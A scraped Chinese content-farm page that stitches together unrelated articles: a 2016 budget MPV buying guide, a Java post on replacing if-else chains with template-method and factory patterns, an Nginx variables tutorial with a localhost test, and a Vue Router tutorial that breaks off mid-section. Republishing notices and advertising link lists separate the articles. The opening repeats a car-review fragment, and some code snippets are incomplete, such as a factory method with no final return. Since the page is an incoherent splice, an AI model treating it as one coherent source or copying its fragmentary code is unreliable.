5-10萬預算還想買7座?這些車是全民認證的好!

08-9。28萬寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

在5-10萬元這個價位,如果單論哪種車子的實用性最高,小編肯定會不假思索的推薦MpV(微面),因為這些車子價格非常實惠,質量很好,空間很大,拉人載貨都非常方便。所以小編就給大家推薦幾款2016年全年銷量比較好的MpV。

上汽通用五菱-五菱宏光

指導價:4.18-6.98萬

其實第一不用說大家就猜到是五菱宏光,中華神車五菱宏光在2016年12月份的銷量高達82543輛,2016年全年累計銷量為650018輛,這樣高調的銷量數據估計只有美國的皮卡福特F-150可以媲美了。雖然五菱宏光的發動機沒法和大排量V8的F-150相比,但是宏光價格要便宜很多啊!而且,宏光可以盡情的甩尾漂移,這點F-150不好做到吧!畢竟宏光也是征服過秋名山的选手。

宏光的不同車型的車身尺寸略有差異,但是軸距都為2720mm,座位數為5-8個不等。當然低配的宏光是不可能有中控大屏幕的,畢竟車價較低,不過,有了中控大屏,宏光的中控看起來立馬高端很多。

宏光的動力系統為1.2L 86馬力/1.5L 112馬力+5擋手動,別看宏光馬力較小,但是宏光的定位是微面,就是用來干粗活的,所以即使是滿載,只要油門轟起來,也不會感到動力不足。

上汽通用五菱-寶駿730

指導價:6.08-9.28萬

寶駿730的銷量雖然沒有宏光那麼硬氣,但是2016年全年370169輛的銷量也足以讓競爭對手汗顏了,寶駿730的車身尺寸為4685/4710*1785*1715mm,軸距為2750mm。提供5座、7座、8座版車型。

雖然中控台依然是採用的硬塑料,中高配依然配備中控大屏幕,但是730的內飾設計明星要比宏光時尚很多,看起來也比較有設計感,畢竟一分價錢一分貨。

寶駿730的動力選擇很豐富,有自吸、同時也有渦輪發動機,甚至還有AMT車型可供消費者選擇。其實小編認為如果只是偶爾拉貨,多數情況是坐人的話,那麼最好還是選擇730吧!畢竟730前置前驅結構,噪音要比宏光小很多,同時整車的質感和配置也要明顯強於宏光,多花兩萬元還是比較值得的!

長安汽車-歐尚

指導價:5.19-6.49萬

長安歐尚2016年全年的銷量為118185輛,表現還算不錯,歐尚的車身尺寸為4465*1725*1685/1700mm,軸距為2680mm。全系均為七座車型。

內飾的造型絕對對得起這個價位,全黑的中控看起來質感很不錯,甚至有種比較高檔的感覺,不過內飾的用料肯定是以硬塑料為主了,畢竟價位有限么,可以理解。

其實歐尚的性價比挺不錯的,絕對不比730的性價比低,畢竟6.49萬的歐尚就有ESp、上坡輔助、電動天窗、真皮方向盤、前/后駐車雷達、倒車視頻影像、仿皮座椅、GpS導航、中控大屏、藍牙、後座出風口等配置,關鍵是歐尚的優惠比730要大不少,如果不介意歐尚的尺寸小於730的話,那麼歐尚還是很值得入手的。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※超省錢租車方案

※別再煩惱如何寫文案,掌握八大原則!

※回頭車貨運收費標準

※教你寫出一流的銷售文案?

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

別再寫一摞if-else了!再寫開除!兩種設計模式帶你消滅它!

題外話:本來不想解釋、可是看完評論,有點服氣。沒想到居然這麼多人能曲解題意。這篇文章明顯是在說,不要寫一大堆if-else,一大堆是啥意思很難懂嗎?我沒有一句話說了不要寫if-else。開頭也給出了具體需求,在這種需求的前提下不要寫if-else,沒毛病吧??

代碼潔癖狂們!看到一個類中有幾十個if-else是不是很抓狂?
設計模式學了用不上嗎?面試的時候問你,你只能回答最簡單的單例模式,問你有沒有用過反射之類的高級特性,回答也是否嗎?
這次就讓設計模式(模板方法模式+工廠模式)和反射助你消滅if-else!
真的是開發中超超超超超超有用的乾貨啊!

那個坑貨

某日,碼農胖滾豬接到上級一個需求,這個需求牛逼了,一站式智能報表查詢平台,支持mysql、pgxl、tidb、hive、presto、mongo等眾多數據源,想要啥數據都能通通給你查出來展示,對於業務人員數據分析有重大意義!

雖然各個數據源的參數校驗、查詢引擎和查詢邏輯都不一樣,但是胖滾豬對這些框架都很熟悉,這個難不倒她,她只花了一天時間就都寫完了。

領導胖滾熊也對胖滾豬的效率表示了肯定。可是好景不長,第三天,領導閑着沒事,準備做一下code review,可把胖滾熊驚呆了,一個類裏面有近30個if-else代碼,我滴個媽呀,這可讓代碼潔癖狂崩潰了。

// 檢驗入參合法性
Boolean check = false;
if(DataSourceEnum.hive.equals(dataSource)){
    check = checkHiveParams(params);
} else if(DataSourceEnum.tidb.equals(dataSource)){
    check = checkTidbParams(params);
} else if(DataSourceEnum.mysql.equals(dataSource)){
    check = checkMysqlParams(params);
} // else if ....... 省略pgxl、presto等
if(check){
    if(DataSourceEnum.hive.equals(dataSource)){
        list = queryHive(params);
    } else if(DataSourceEnum.tidb.equals(dataSource)){
        list = queryTidb(params);
    } else if(DataSourceEnum.mysql.equals(dataSource)){
        list = queryMysql(params);
    } // else if ....... 省略pgxl、presto等
}
//記錄日誌
log.info("用戶={} 查詢數據源={} 結果size={}",params.getUserName(),params.getDataSource(),list.size());

模板模式來救場

首先我們來分析下,不管是什麼數據源,算法結構(流程)都是一樣的,1、校驗參數合法性 2、查詢 3、記錄日誌。這不就是說模板一樣、只不過具體細節不一樣,沒錯吧?

讓我們來看看設計模式中模板方法模式的定義吧:

模板方法模式:定義一個操作中的算法的框架,而將一些步驟延遲到子類中. 使得子類可以不改變一個算法的結構即可重定義該算法的某些特定步驟。通俗的講,就是將子類相同的方法, 都放到其抽象父類中。

我們這需求不就和模板方法模式差不多嗎?因此我們可以把模板抽到父類(抽象類)中。至於特定的步驟實現不一樣,這些特殊步驟,由子類去重寫就好了。

廢話不多說了,我們先把父類模板寫好吧,完全一樣的邏輯是記錄日誌,這步在模板寫死就好。至於檢驗參數和查詢,這兩個方法各不相同,因此需要置為抽象方法,由子類去重寫。

public abstract class AbstractDataSourceProcesser <T extends QueryInputDomain> {
    public List<HashMap> query(T params){
        List<HashMap> list = new ArrayList<>();
        //檢驗參數合法性 不同的引擎sql校驗邏輯不一樣
        Boolean b = checkParam(params);
        if(b){
            //查詢
            list = queryData(params);
        }
        //記錄日誌
        log.info("用戶={} 查詢數據源={} 結果size={}",params.getUserName(),params.getDataSource(),list.size());
        return list;
    }
    //抽象方法 由子類來實現特定邏輯
    abstract Boolean checkParam(T params);
    abstract List<HashMap> queryData(T params);
}

這段代碼非常簡單。但是為了照顧新手,還是想解釋一個東西:

T這個玩意。叫泛型,因為不同數據源的入參不一樣,所以我們使用泛型。但是他們也有公共的參數,比如用戶名。因此為了不重複冗餘,更好的利用公共資源,在泛型的設計上,我們可以有一個泛型上限,<T extends QueryInputDomain>

public class QueryInputDomain<T> {
    public String userName;//查詢用戶名
    public String dataSource;//查詢數據源 比如mysql\tidb等
    public T params;//特定的參數 不同的數據源參數一般不一樣
}
public class MysqlQueryInput extends QueryInputDomain{
    private String database;//數據庫
    public String sql;//sql
}

接下來就輪到子類出場了,通過上面的分析,其實也很簡單了,不過是繼承父類,重寫checkParam()和queryData()方法,下面以mysql數據源為例,其他數據源也都一樣的套路:

@Component("dataSourceProcessor#mysql")
public class MysqlProcesser extends AbstractDataSourceProcesser<MysqlQueryInput>{
    @Override
    public Boolean checkParam(MysqlQueryInput params) {
        System.out.println("檢驗mysql參數是否準確");
        return true;
    }

    @Override
    public List<HashMap> queryData(MysqlQueryInput params) {
        List<HashMap> list = new ArrayList<>();
        System.out.println("開始查詢mysql數據");
        return list;
    }
}

這樣一來,所有的數據源,都自成一體,擁有一個只屬於自己的類,後續要擴展數據源、或者要修改某個數據源的邏輯,都非常方便和清晰了。

說實話,模板方法模式太簡單了,抽象類這東西也太基礎普遍了,一般應屆生都會知道的。但是對於初入職場的新人來說,還真不太能果斷應用在實際生產中。因此提醒各位:一定要有一個抽象思維,避免代碼冗餘重複。

另外,要再啰嗦幾句,即使工作有幾年的工程師也很容易犯一個錯誤。就是把思維局限在今天的需求,比如老闆一開始只給你一個mysql數據源查詢的需求,壓根沒有if-else,可能你就不會放在心上,直接在一個類中寫死,不會考慮到後續的擴展。直到後面越來越多的新需求,你才恍然大悟,要全部重構一番,這樣浪費自己的時間了。因此提醒各位:做需求不要局限於今天,要考慮到未來。 從一開始就做到高擴展性,後續需求變更和維護就非常爽了。

原創聲明:本文為【胖滾豬學編程】原創博文,轉載請註明出處。以漫畫形式讓編程生動有趣!原創不易,求關注!

工廠模式來救場

但是模板模式還是沒有完全解決胖滾豬的if-else,因為需要根據傳進來的dataSource參數,判斷由哪個service來實現查詢邏輯,現在是這麼寫的:

  if(DataSourceEnum.hive.equals(dataSource)){
        list = queryHive(params);
    } else if(DataSourceEnum.tidb.equals(dataSource)){
        list = queryTidb(params);
    }

那麼這種if-else應該怎麼去幹掉呢?我想先跟你講講工廠模式的那些故事。

工廠模式:工廠方法模式是一種創建對象的模式,它被廣泛應用在jdk中以及Spring和Struts框架中。它將創建對象的工作轉移到了工廠類。

為了呼應一下工廠兩字,我特意舉一個代工廠的例子讓你理解,這樣你應該會有更深刻的印象。

以手機製造業為例。我們知道有蘋果手機、小米手機等等,每種品牌的手機製造方法必然不相同,我們可以先定義好一個手機標準接口,這個接口有make()方法,然後不同型號的手機都繼承這個接口:

#Phone類:手機標準規範類(AbstractProduct)
public interface Phone {
    void make();
}
#MiPhone類:製造小米手機(Product1)
public class MiPhone implements Phone {
    public MiPhone() {
        this.make();
    }
    @Override
    public void make() {
        System.out.println("make xiaomi phone!");
    }
}
#IPhone類:製造蘋果手機(Product2)
public class IPhone implements Phone {
    public IPhone() {
        this.make();
    }
    @Override
    public void make() {
        System.out.println("make iphone!");
    }
}

現在有某手機代工廠:【天霸手機代工廠】。客戶只會告訴該工廠手機型號,就要匹配到不同型號的製作方案,那麼代工廠是怎麼實現的呢?其實也很簡單,簡單工廠模式(還有抽象工廠模式和工廠方法模式,有興趣可以了解下)是這麼實現的:

#PhoneFactory類:手機代工廠(Factory)
public class PhoneFactory {
    public Phone makePhone(String phoneType) {
        if(phoneType.equalsIgnoreCase("MiPhone")){
            return new MiPhone();
        }
        else if(phoneType.equalsIgnoreCase("iPhone")) {
            return new IPhone();
        }
    }
}

這樣客戶告訴你手機型號,你就可以調用代工廠類的方法去獲取到對應的手機製造類。你會發現其實也不過是if-else,但是把if-else抽到一個工廠類,由工廠類統一創建對象,對我們的業務代碼無入侵,不管是維護還是美觀上都會好很多。

首先,我們應該在每個特定的dataSourceProcessor(數據源執行器),比如MysqlProcesser、TidbProcesser中添加spring容器註解@Component。該註解我想應該不用多解釋了吧~重點是:我們可以把不同數據源都搞成類似的bean name,形如dataSourceProcessor#數據源名稱,如下兩段代碼:

@Component("dataSourceProcessor#mysql")
public class MysqlProcesser extends AbstractDataSourceProcesser<MysqlQueryInput>{
@Component("dataSourceProcessor#tidb")
public class TidbProcesser extends AbstractDataSourceProcesser<TidbQueryInput>{

這樣有什麼好處呢?我可以利用Spring幫我們一次性加載出所有繼承於AbstractDataSourceProcesser的Bean ,形如Map<String, AbstractDataSourceProcesser>,Key是Bean的名稱、而Value則是對應的Bean:

@Service
public class QueryDataServiceImpl implements QueryDataService {
    @Resource
    public Map<String, AbstractDataSourceProcesser> dataSourceProcesserMap;
    public static String beanPrefix = "dataSourceProcessor#";
    @Override
    public List<HashMap> queryData(QueryInputDomain domain) {
        AbstractDataSourceProcesser dataSourceProcesser = dataSourceProcesserMap.get(beanPrefix + domain.getDataSource());
        //省略query代碼
    }
}

可能你還是不太理解,我們直接看一下運行效果:

1、dataSourceProcesserMap內容如下所示,存儲了所有數據源Bean,Key是Bean的名稱、而Value則是對應的Bean:

2、我只需要通過key(即前綴+數據源名稱=beanName),就能匹配到對應的執行器了。比如當參數dataSource為tidb的時候,key為dataSourceProcessor#tidb,根據key可以直接從dataSourceProcesserMap中獲取到TidbProcesser

public static String classPrefix = "com.lyl.java.advance.service.";

AbstractDataSourceProcesser sourceGenerator = 
(AbstractDataSourceProcesser) Class.forName
(classPrefix+DataSourceEnum.getClasszByCode(domain.getDataSource()))
.newInstance();

需要注意的是,該種方法是通過className來獲取到類的實例,而前端傳參肯定是不會傳className過來的。因此可以用到枚舉類,去定義好不同數據源的類名:

public enum DataSourceEnum {
    mysql("mysql", "MysqlProcesser"),
    tidb("tidb", "TidbProcesser");
    private String code;
    private String classz;

原創聲明:本文為【胖滾豬學編程】原創博文,轉載請註明出處。以漫畫形式讓編程生動有趣!原創不易,求關注!

總結

有些童鞋總覺得設計模式用不上,因為平時寫代碼除了CRUD還是CRUD,面試的時候問你設計模式,你只能回答最簡單的單例模式,問你有沒有用過反射之類的高級特性,回答也是否。

其實不然,JAVA這23種設計模式,每一個都是經典。今天我們就用模板方法模式+工廠模式(或者反射)解決了讓人崩潰的if-else。後續對於設計模式的學習,也應該多去實踐,從真實的項目中找到用武之地,你才算真正把知識佔為己有了。

本篇文章的內容和技術點雖然很簡單,但旨在告訴大家應該要有一個很好的代碼抽象思維。杜絕在代碼中出現一大摞if-else或者其他爛代碼。

即使你有很好的代碼抽象思維,做需求開發的時候,也不要局限於當下,只考慮現在,要多想想未來的擴展性。

就像你談戀愛一樣,只考慮當下的是渣男,考慮到未來的,才算是一個負責任的人

“願世界沒有渣男”

原創聲明:本文為【胖滾豬學編程】原創博文,轉載請註明出處。以漫畫形式讓編程生動有趣!原創不易,求關注!

本文來源於公眾號:【胖滾豬學編程】。一枚集顏值與才華於一身,不算聰明卻足夠努力的女程序媛。用漫畫形式讓編程so easy and interesting!求關注!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

Nginx 的變量究竟是怎麼一回事?

之前說了很多關於 Nginx 模塊的內容,還有一部分非常重要的內容,那就是 Nginx 的變量。變量在 Nginx 中可以說無處不在,認識了解這些變量的作用和原理同樣是必要的,下面幾乎囊括了關於 Nginx 的所有變量,單獨看起來可能比較枯燥,放心,後面依然有實戰內容。

Nginx 變量的運行原理

圍繞 Nginx 中的變量模塊可以分為兩類,一類是提供變量的模塊,另外一類是使用變量的模塊。

  • 提供變量的模塊
    • 在 Preconfiguration 源代碼中定義變量名以及可以解析出變量的方法
  • 使用變量的模塊
    • 解析 nginx.conf 時定義變量的使用方式

也就是在 Nginx 啟動時,已經定義了變量,而只有當真正處理請求的時候,才會根據 nginx.conf 解析出來的變量使用方式調用 Preconfiguration 中定義的方法來實際獲取值。

這也是變量的兩個特性:

  • 惰性求值:只有使用的時候才會去調方法解析
  • 變量值可以時刻變化,其值為使用的那一時刻的值。例如發送響應包體字節數,實際在發送的過程中是一直在變化的。

除了 Nginx 的模塊之外,Nginx 框架也包含許多的變量,這些變量不需要通過編譯模塊來引入,而且,Nginx 框架所提供的變量往往反映了處理請求的細節,因此,了解 Nginx 框架所提供的變量是十分有必要的。

HTTP 請求相關的變量

先來看一下關於 HTTP 請求的相關變量。

  • arg_參數名:URL 中某個具體參數的值

  • query_string:與 args 變量完全相同

  • args:全部 URL 參數

  • is_args:如果請求 URL 中有參數則返回 ?,否則返回空

  • content_length:HTTP 請求中標識包體長度的 Content-Length 頭部的值。如果請求中沒有攜帶這個參數,那麼就取不到對應的值。

  • content_type:標識請求包體類型的 Content-Type 頭部的值。同樣需要用戶請求中攜帶對應的參數。

  • uri:請求的 URI(不同於 URL,不包括 ? 后的參數)

  • document_uri:與 uri 完全相同。由於歷史原因而存在的。

  • request_uri:請求的 URL(包括 URI 以及完整的參數)

  • scheme:協議名,例如 HTTP 或者 HTTPS

  • request_method:請求方法,例如 GET 或者 POST

  • request_length:所有請求內容的大小,包括請求行、頭部、包體等

  • remote_user:由 HTTP Basic Authentication 協議傳入的用戶名

  • request_body_file:很多時候會將用戶請求的包體存放到文件中,這個變量就是臨時存放請求包體的文件

    • 如果包體非常小則不會存文件
    • client_body_in_file_only 指令強制所有包體存入文件,且可決定是否刪除
  • request_body:請求中的包體,這個變量當且僅當使用反向代理,且設定用內存暫存包體時才有效

  • request:原始的 URL 請求,含有方法與協議版本,例如 GET /?a=1&b=22 HTTP/1.1

  • host

    • 先從請求行中獲取
    • 如果含有 Host 頭部,則用其值替換掉請求行中的主機名
    • 如果前兩者都取不到,則使用匹配上的 server_name
  • http_頭部名字:返回一個具體請求頭部的值

    特殊變量,這些變量會做一些處理。

    • http_host
    • http_user_agent
    • http_referer
    • http_via
    • http_x_forwarded_for
    • http_cookie

    通用變量,除了以上的變量,都可以取到對應的值。

TCP 連接相關的變量

下面是關於 TCP 連接的變量。

  • binary_remote_addr:客戶端地址的整形格式,對於 IPv4 是 4 字節,對於 IPv6 是 16 字節,所以在 limit_req 和 limit_conn 中通常可以用作 key (詳見:Nginx 處理 HTTP 請求的 11 個階段 中的 preaccess 階段)
  • connection:遞增的連接序號
  • connection_requests:當前連接上執行過的請求數,對 keepalive 連接有意義
  • remote_addr:客戶端地址
  • remote_port:客戶端端口
  • proxy_protocol_addr:若使用了 proxy_protocol 協議,則返回協議中的地址,否則返回空
  • proxy_protocol_port:若使用了 proxy_protocol 協議則返回協議中的端口,否則返回空
  • server_addr:服務端地址
  • server_port:服務器端端口
  • TCP_INFO:TCP 內核層參數,包括 $tcpinfo_rtt, ​$tcpinfo_rttvar,​$tcpinfo_snd_cwnd, $tcpinfo_rcv_space
  • server_protocol:服務器端協議,例如 HTTP/1.1

Nginx 處理請求過程中產生的變量

Nginx 處理 HTTP 請求的過程中也會產生很多變量。

  • request_time:請求處理到現在的耗時,單位為秒,精確到毫秒
  • server_name:匹配上請求的 server_name 值
  • https:如果開啟了 TLS/SSL 則返回 on,否則返回空
  • request_completion:若請求處理完則返回 OK,否則返回空
  • request_id:以 16 進制輸出的請求表示 id,該 id 共含有 16 個字節,是隨機生成的
  • request_filename:待訪問文件的完整路徑
  • document_root:由 URI 和 root、alias 規則生成的文件夾路徑
  • realpath_root:將 document_root 中的軟鏈接等換成真實路徑
  • limit_rate:返回客戶端響應時的速度上限,單位為每秒字節數。可以通過 set 指令修改對請求產生的效果

發送 HTTP 響應時相關的變量

  • body_bytes_sent:響應中 body 包體的長度

  • bytes_sent:全部 http 響應的長度

  • status:http 響應中的返回碼

  • sent_trailer_名字:把響應結尾內容里的值返回

  • sent_http_頭部名字:響應中某個具體頭部的值

    特殊處理,下面這些變量需要經過特殊處理:

    • sent_http_content_type
    • sent_http_content_length
    • sent_http_location
    • sent_http_last_modified
    • sent_http_connection
    • sent_http_keep_alive
    • sent_http_transfer_encoding
    • sent_http_cache_control
    • sent_http_link

    通用:除了上面這些頭部,其他的頭部都是通用型的,也就是可以直接拿來用。

Nginx 系統變量

  • time_local:以本地時間標準輸出的當前時間,例如 14/Nov/2018:15:55:37 +0800
  • time_iso8601:使用 ISO8601 標準輸出的當前時間,例如 2018-11-14T15:55:37+08:00
  • nginx_version:Nginx 版本號
  • pid:所屬 worker 進程的進程 id
  • pipe:使用了管道則返回 p,否則返回 .
  • hostname:所在服務器的主機名,與 hostname 命令輸出一致
  • msec:1970 年 1 月 1 日到現在的時間,單位為秒,小數點后精確到毫秒

實戰

配置文件:

log_format  vartest  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status bytes_sent=$bytes_sent body_bytes_sent=$body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$sent_http_abc"';

server {
	server_name var.ziyang.com localhost;
	#error_log logs/myerror.log debug;
	access_log logs/vartest.log vartest;
	listen 9090;
	
	location / {
		set $limit_rate 10k;
        # return 200; tcpinfo: $tcpinfo_rtt,$tcpinfo_rttvar, $tcpinfo_snd_cwnd, $tcpinfo_rcv_space 
		return 200 '
arg_a: $arg_a,arg_b: $arg_b,args: $args
connection: $connection,connection_requests: $connection_requests
cookie_a: $cookie_a
uri: $uri,document_uri: $document_uri, request_uri: $request_uri
request: $request
request_id: $request_id
server: $server_addr,$server_name,$server_port,$server_protocol
            
host: $host,server_name: $server_name,http_host: $http_host
limit_rate: $limit_rate
hostname: $hostname
content_length: $content_length
status: $status
body_bytes_sent: $body_bytes_sent,bytes_sent: $bytes_sent
time: $request_time,$msec,$time_iso8601,$time_local
';
	}	
}

從上面這個配置文件中,我們可以看出來,返回的響應裡面包含了一系列的變量,實際驗證一下:

  test_nginx curl -H 'Content-Length: 0' -H 'Cookie: a=c1' 'localhost:9090?a=1&b=22'

arg_a: 1,arg_b: 22,args: a=1&b=22
connection: 2,connection_requests: 1
cookie_a: c1
uri: /,document_uri: /, request_uri: /?a=1&b=22
request: GET /?a=1&b=22 HTTP/1.1
request_id: 5d40b1ff29d2b87d5db5c4f95ebf5e4d
server: 127.0.0.1,var.ziyang.com,9090,HTTP/1.1
host: localhost,server_name: var.ziyang.com,http_host: localhost:9090
limit_rate: 10240
hostname: yuanzizhen.local
content_length: 0
status: 200
body_bytes_sent: 0,bytes_sent: 0
time: 0.000,1590842354.866,2020-05-30T20:39:14+08:00,30/May/2020:20:39:14 +0800

大家可以對比一下響應和配置文件中的值是不是一一對應的,更加深刻的理解一下變量的含義。

好了,這一節咱們學習了。關於 Nginx 的變量就講完了,下一節講一下實際應用變量的兩個模塊,大家會有更深刻的理解。

本文首發於我的個人博客:iziyang.github.io,所有配置文件我已經放在了 Nginx 配置文件,大家可以自取。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

Vue —— 精講 VueRouter(1)

最近被Boos調去給新人做培訓去了,目前把自己整理的一些東西分享出來,希望對大家有所幫助

demo源代碼地址:https://github.com/BM-laoli/BMlaoli-learn-VueRouter

本章節為VueRouter前端 路由的章節部分

大綱

一、基本概念

路由就是通過網絡把訊息從源地址傳輸到目的地的活動
需要一些映射表

  1. 做路由
  2. 做信息的轉發(核心就是:轉發)

後端路由還有前端路由,後端渲染和前端渲染

前端渲染(前後端分離API生態),後端渲染(view嵌套一起)

前端路由的核心概念
地址變化的時候改變url的時候,不進行整體頁面刷新

改變url但是不刷新頁面,的解決方式

我們有這樣的一個需求,改變url跳轉地址,我們獲取新的頁面,但是不希望頁面發生刷新

解決方案1:locaion.hash = ‘/’

這個是vueRouter的底層實現

監聽hash的變化,從而改變網頁數據的獲取機制,渲染對應的組件,

解決方案2:H5的histroray模式

  1. pushState
    history.pushState({},”,’home’),第三個參數就是url

這裏的push實際上就是一個棧結構(先進后出),

假設我們這裏需要回去,使用back()彈棧

history.pushState({},'','home'),
history.pushState({},'','about'),
history.pushState({},'','user'),

//執行這個之後就能進行back()出棧了
history.back(),
// 此時的url是 /about

  1. repalceState

這裡有一個方法和push方法很像,但是不會back()不能點擊後腿按鈕

history.repalceState({},'','user'),
  1. go

這裏的go是對棧的一個操作,
go(-1)彈出一個
go(-2)彈出二個

go(1)壓入一個
go(2)壓入二個

go(-1)

以上就是我們的基本的前端路由原理

二、v-router基本使用

前端三大框架都有自己的router,可以用來構建SPA應用

使用小提示,還是非常非常的簡單的:

  1. 如果你沒有安裝就需要 npm install vue-router去安裝
    • 導入路由對象,並且調用Vue.use(VueRouter)安裝這個路由插件
    • 創建路由實例,傳入映射配置wxain
    • 在vue實例中掛載創建好了的路由

1.導入路由對象,並且配置optionn給路由

/router/index.js


/**
 * 配置路由相關的信息
 */
// 1. 導入
 import Router from 'vue-router'
 
 // 2.1 導入vue實例
import Vue from 'vue'

// 導入組件
import Home from '../components/Home.vue'
import About from '../components/About.vue'


// 2.2使用路由(插件),安裝插件,vue的插件,都是這樣安裝,Vue.use
Vue.use(Router)

// 3. 創建路路由對象,這個就是在Router裏面配置映射和對象等東西

// 4. 抽離配置項出來
const routes = []

const router = new Router({routes})

//4. 導出
export default router 
 

2.配置路由映射

/router/index.js

const routes = [
 
 {path:'/home',component:Home},
 {path:'/about',component:About},

] 

3.在實例中使用路由

/main.js

import Vue from 'vue'
import App from './App'
import router from './router'//注意啊模塊查找規則index.js

Vue.config.productionTip = false

/* eslint-disable no-new */
new Vue({
  el: '#app',
  router,// 主要是在這裏掛載進去就好了
  render: h => h(App)
}) 

4.小心,我們的路由入口還有連接link

/App.vue


<template>
  <div id="app">
    <!-- //這兩個是一個全局祖冊過着個組件,這個就是一個a標籤 -->
    <router-link to='/home'>首頁</router-link>
    <router-link to='/about'>關於</router-link>
    <!-- 路由出口,既:渲染的出口,這個就是一個佔位符號 -->
    <router-view></router-view>
  </div>
</template>

以下是我們的兩個組件

/Home.vue

<template>
    <div>
        <h2>我是首頁</h2>
        <p>我是首頁內容哈哈哈</p>
    </div>
</template>

<script>
    export default {
        
    }
</script>

<style scoped>

</style>

/About.vue

<template>
    <div>
        <h2>我是關於頁面</h2>
        <p>我是首關於內容哈哈哈</p>
    </div>
</template>

<script>
    export default {
        
    }
</script>

<style>

</style>

以上就是我們非常簡單的使用

三、其它的知識點補充

路由的默認值,並且修改成mode=>hisary模式

我們希望默認显示的就是一個首頁
解決方式,映射一個’/’,然後進行重定向
/index.js

  {
    path:'/',
    redirect:'/home'
  },

我們為什麼要去做這調整成一個history,因為我們希望去掉#這個標識

只需要在new 的時候指定一下就好了
/index,js

const router = new Router({
  routes,
  mode:"history"//就是這裏的這個更改路由方式
})

router-link的屬性

  1. tage
    to是一個屬性 ,默認是渲染成一個a鏈接,假設我現在需要默認渲染成一個buttmm怎麼辦呢?
    加一個tag就好了
    <router-link to='/home' tag='button'  >首頁</router-link>
  1. 更改模式replceStats 不允許瀏覽器回退
    replace加上去就好了
<router-link to='/about' tag='button' replace >關於</router-link>
  1. 我們可以利用一些默認的東西去非常方便的做到想要的效果
<style>
.router-link-active{
  color: blue;
}
</style>

替換值:我們希望不要怎麼長,我們希望.active就能改樣式怎麼搞?
加一個active-calss就好了,這個直接就是acitve做為類就好了

 <router-link to='/home' tag='button'  active-class  >首頁</router-link>
 <style>
    .active{
        bgc:red
    }
 </style>

代碼路由跳轉,意思就是重定向

注意啊!route != router
在我們學習路由的時候,this.$router是一個非常重要的對象

這個東西在開中經常的使用

// this.$router.push('重定向的值就好了')。
// this.$router.push('/home')
// 如果你不想有出現回退按鈕,這樣來做就好了
this.$router.replace('/home')

四、動態路由參數

這裏只是簡單的介紹了理由傳參的地址欄拼接模式,但是還有更多更奇奇怪怪的傳值方式,詳見官方Router文檔,

this.$router.parmas
// 這個parmas裏面就是我們的路由參數存放點

這裏我們有這樣的一個需求,我們希望點擊user頁面的時候可以,得到任意的路由參數

比如我們現在/user/zhnsang,的時候可以獲取zhangshang,/user/lishi的時候可以獲取lishi>

  1. 首先我們需要在路由裏面加:
    /router/index.js
   {
        path: "/user/:usermsg",
        component: User
    }
]
  1. 頁面傳遞數據
    /App.vue
router-link :to="'/user/'+username">用戶相關</router-link>
<!-- 路由出口,既:渲染的出口,這個就是一個佔位符號 -->
<router-view></router-view>
  </div>
</template>

<script>
export default {
  name: 'App',
  data() {
    return {
      username: 'lisi'
    }
  },

  1. 頁面獲取數據

一定要注意了,一定是rouer裏面定義的才能從另一路由拿出來

/User.vue


<template>
    <div>
        <h2>我是用戶相關專業</h2>
        <p>我是用戶訊息相關頁面,嘿嘿嘿嘿嘿</p>
        <h1>{{ $route.params.usermsg }}44</h1>
        <hr>
        <h2>{{username}}</h2>
    </div>
</template>

<script>
    export default {    
        computed: {
            username() {
                return this.$route.params.usermsg
            }
        },
    }
</script>

<style scpoe>

</style>

五、細節詳解

注意啊!再說一遍route != router

注意啊,這裏的$route實際上是我們在main裏面new的一個Router得到的,
並且 這個route對象是隨着請求的地方不一樣,而改變的。也就是說,這個的route是當前頁面中的route對象,而且在vue只能只有一個route實例存在

六、 Vue的webpack打包詳解 + 路由懶加載

一個vue項目的簡單打包目錄結構分析

我們來看看,在一個vue項目中,簡單的三個文件是怎麼打包的

假設目前有這樣的三個文件 ,我們需要對他們進行打包,mian是入口,有一個add業務,有一個math依賴模塊。那麼我們webpack打包成的三個文件到底是如何運行的呢?

在vue中 使用webpack打包的時候,會把一些東西給分模塊的打包出來,它打包的東西的目錄結構如下
裏面我們實際打包的時候會把css,js都給分開,各自有各自的作用

| dist
| ---static
| ---css
| ---js
| -----app.XXXX.js         (這個是項目的業務邏輯所在)
| -----manifest.xxxx.js    (這個是底層打包的依賴文件所在)
| -----vendor.xxxx.js      (這個是依賴所在)
| idnex.html

路由懶加載

  1. 概念的理解

目前呢,我們打包的情況是這樣的:我們所有的代碼都是集中放在了以一個app.xxx.js文件中,這樣其實不利於後期的維護和開發,因為如果我們有很多很多的大量的代碼的時候,我們的這個文件就會變得非常非常的大,於是呢,我們就需要路由懶加載,所謂懶加載就是:‘在需要的時候,才去加載某個資源文件’,路由懶加載,就是把每一個路由對應的業務邏輯代碼,在打包的時候分割到不同的js文件中,如何在需要用的時候再去請求它

經過這樣的打包的懶加載之後,我們的目錄會變成這個樣子

| dist
| ---static
| ---css
| ---js
| -----0.xxx.js            (假設是路由home的業務邏輯代碼)
